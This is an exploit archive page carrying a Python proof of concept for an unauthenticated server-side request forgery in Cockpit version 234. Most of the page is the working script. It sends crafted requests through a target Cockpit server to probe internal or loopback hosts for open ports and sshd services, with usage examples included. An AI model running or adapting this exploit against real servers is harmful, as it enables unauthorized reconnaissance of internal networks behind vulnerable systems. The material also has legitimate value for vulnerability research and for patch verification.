exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Cockpit 234 Server-Side Request Forgery

Cockpit 234 Server-Side Request Forgery
Posted Jan 8, 2021
Authored by Metin Yunus Kandemir

Cockpit version 234 suffers from an unauthenticated server-side request forgery vulnerability.

tags | exploit
SHA-256 | 7d5320612c3c2171833bc0f579b2434057c4c62e25ce3e66372baa4bc0bb0e83

Cockpit 234 Server-Side Request Forgery

Change Mirror Download
# Exploit Title: Cockpit Version 234 - Server-Side Request Forgery (Unauthenticated)
# Date: 08.01.2021
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://cockpit-project.org/
# Version: v234
# Tested on: Ubuntu 18.04

#!/usr/bin/python3
import argparse
import requests
import sys
import urllib3
import time
from colorama import Fore, Style
from argparse import ArgumentParser, Namespace
from bs4 import BeautifulSoup

"""
Example scanning for internal server:
python3 PoC.py --target 192.168.1.33:9090 --scan 172.16.16.16 --ports 21,22,23
Example scanning for loopback interface of server:
python3 PoC.py --target 192.168.1.33:9090
Description : https://github.com/passtheticket/vulnerability-research/tree/main/cockpitProject/README.md
"""

def main():
dsc = "Cockpit Version 234 - sshd Service Scanning via Server-Side Request Forgery (Unauthenticated)"
parser: ArgumentParser = argparse.ArgumentParser(description=dsc)
parser.add_argument("--target", help="IP address of Cockpit server", type=str, required=True)
parser.add_argument("--scan", help="IP address of server that will be scanned", type=str, required=False)
parser.add_argument("--ports", help="Ports (example: 21,22)", type=str, required=False)
args: Namespace = parser.parse_args()

if args.target:
target = args.target
if args.scan:
scan = args.scan
if args.ports:
ports = args.ports
else:
ports = "22"
else:
scan = "127.0.0.1"
if args.ports:
ports = args.ports
else:
ports = "22"
cockpitReq(target, scan, ports)

def cockpitReq(target, scan, ports):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
portRange = ports.split(",")
for unsafe in portRange:
headers = {
"Host": str(target),
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Authorization": "Basic dW5zYWZlOmlubGluZQ==",
"X-Authorize": "",
"Connection": "close",
"Cookie": "cockpit=deleted",
}
req = requests.get("http://" + target + "/cockpit+=" + scan + ":" + unsafe + "/login", headers, verify=False)
time.sleep(2)
soup = BeautifulSoup(req.text, 'html.parser')
responseCode = req.status_code
responseTime = str(req.elapsed)

if responseCode == 404:
print("Cockpit server was not found!")
elif responseCode == 401:
if soup.title.string == "Authentication failed":
print(Fore.GREEN + Style.BRIGHT + "[+] Port: "+ unsafe + " sshd service is detected!")
elif soup.title.string == "Authentication failed: no-host":
if responseTime > "0:00:10.000000":
print(Fore.GREEN + Style.BRIGHT +"[-] Port: "+ unsafe + " is open, sshd service is not detected!")
else:
print(Fore.RED + Style.BRIGHT +"[-] Port: "+ unsafe + " sshd service is not detected!")
else:
print(Fore.RED + Style.BRIGHT +"[-] Error is occured!")
print("[-] One bad day!")
sys.exit(1)
else:
print("Something went wrong!")

main()
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close